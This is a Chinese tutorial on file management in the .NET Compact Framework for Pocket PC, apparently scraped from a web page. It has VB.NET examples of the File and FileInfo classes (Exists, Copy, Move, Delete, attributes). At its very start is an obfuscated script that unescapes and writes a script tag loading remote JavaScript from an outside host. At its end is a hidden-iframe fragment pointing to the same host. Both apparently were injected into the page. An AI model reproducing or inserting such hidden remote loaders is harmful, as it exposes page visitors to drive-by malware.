HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
NETCF开发之文件与目录(8)
1.1
文件管理
Pocket PC
应用程序通常会包含文件管理的功能。例如访问文本配置文件、
XML
文档或数据库以及拷贝、移动、删除和使用文件属性。下面就介绍如何在
Pocket PC
环境里利用
System.IO
命名空间的
File
类来实现文件管理
。
1.1.1
File
类和
FileInfo
类
与
Directory
和
DirectoryInfo
类类似,
System.IO
命名空间包括
File
和
FileInfo
两个类。这两个类之间的差别是
File
类提供静态方法,而
FileInfo
类提供实例方法。相比之下,
File
类的功能更强大更方便。表
11-6
列出在
Pocket PC
应用程序开发中常用的
File
类方法。
表
11-6
:
File
类用于管理文件的方法
方法
描述
Copy
拷贝指定文件。
Delete
删除指定文件。
Exists
检查指定文件是否存在。
Move
移动指定文件到新的目录。
1.1.2
检查文件是否存在
System.IO
命名空间的
File
类提供一个
Exists
方法。顾名思义,该方法用于判断指定的文件是否存在。该方法的声明语法如下:
Public Shared Function Exists(ByVal path As String) As Boolean
Exists
方法返回一个布尔值。如果文件存在,返回
True
,否则返回
False
。以下代码演示调用
File
类
Exists
方法。
MsgBox(System.IO.File.Exists("/Program Files/My Directory/working.tmp"))
1.1.3
复制文件
使用
Copy
方法很容易实现文件的复制操作。该方法提供两个重载版本。假设目标文件不存在,第一个重载版本的声明语法如下所示:
Overloads Public Shared Sub Copy(ByVal sourceFileName As String, ByVal destFileName As String)
Copy
方法的第一
个重载版本的调用方式如下所示
:
System.IO.File.Copy("/Program Files/My Directory/working.tmp", "/Program Files/My Directory/new.tmp")
使用
Copy
方法的第一
个重载版本复制文件,应该使用
System.IO.File.Exists
方法确认目标文件不存在,否则将抛出一个
IOException
例外。
File
类的第二个重载版本可以指定目标文件如果存在的话,是否覆盖目标文件。声明语法如下所示:
Overloads Public Shared Sub Copy(_
ByVal sourceFileName As String, _
ByVal destFileName As String, _
ByVal overwrite As Boolean _
)
第三个参数
overwrite
接收一个布尔值。设置该参数为
True
,标识覆盖目标文件。调用方式如下所示
:
System.IO.File.Copy("/Program Files/My Directory/working.tmp", "/Program Files/My Directory/new.tmp", True)
1.1.4
移动文件
除了能够复制文件外,还可以移动文件。
File
类提供一个
Move
方法。该方法的声明语法如下:
Public Shared Sub Move(ByVal sourceFileName As String, ByVal destFileName As String)
参数
sourceFilename
指定源文件的路径,参数
desFileName
指定目标文件的路径。该方法的调用方式如下所示
:
System.IO.File.Move("/Program Files/My Directory/working.tmp", "/Program Files/Archive/working.tmp")
使用
Move
方法时需要注意,如果目标文件存在,将抛出一个
IOException
例外。因此在移动文件之前,应该使用
System.IO.File.Exists
方法确认目标文件不存在。清单
11-13
演示如何正确的移动文件。
清单
11-13
:移动文件
'
声明返回状态结构体
Public Structure ReturnStatus
Dim Success As Boolean
Dim Message As String
End Structure
Function MoveFile(ByVal strSource As String, ByVal strTarget As String) As ReturnStatus
Dim MyReturn As ReturnStatus
If Not (System.IO.File.Exists(strSource)) Then
MyReturn.Success = False
MyReturn.Message = "
源文件不存在
"
Return MyReturn
Exit Function
End If
If System.IO.File.Exists(strTarget) Then
MyReturn.Success = False
MyReturn.Message = "
目标文件已存在
"
Return MyReturn
Exit Function
End If
Try
System.IO.File.Move(strSource, strTarget)
MyReturn.Success = True
MyReturn.Message = strTarget
Return MyReturn
Catch ex As Exception
MyReturn.Success = False
MyReturn.Message = ex.Message
Return MyReturn
End Try
End Function
1.1.5
删除文件
删除文件可以
使用
File
类的
Delete
方法来实现,
该方法的声明语法如下:
Public Shared Sub Delete(ByVal path As String)
删除文件时需要指定文件的完整路径。调用方式如下所示
:
System.IO.File.Delete("/Program Files/My Directory/working.tmp")
1.1.6
获取文件属性
通过
FileInfo
类的
Attributes
属性可以获得指定文件的当前属性。注意我说地是
FileInfo
类。在
.NET Compact Framework
里,
File
类没有提供这样的方法。
在该属性返回的值里包含存档、隐藏、只读和系统属性标记。以下代码演示如何访问文件属性:
Dim myFile As System.IO.FileInfo
myFile = New System.IO.FileInfo("/Program Files/My Directory/working.tmp")
MsgBox(myFile.Attributes.ToString)
1.1.7
设置文件属性
使用
FileInfo
类的
Attributes
属性可以设置文件属性。设置文件属性的示例代码如清单
11-14
所示。首先创建一个指定文件的
FileInfo
类实例,然后,通过该实例给文件增加只读属性。
清单
11-14
:移动文件
……
Dim myFile As System.IO.FileInfo
myFile = New System.IO.FileInfo("/Program Files/My Directory/working.tmp")
myFile.Attributes = myFile.Attributes + IO.FileAttributes.ReadOnly
MsgBox(myFile.Attributes.ToString)
……
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">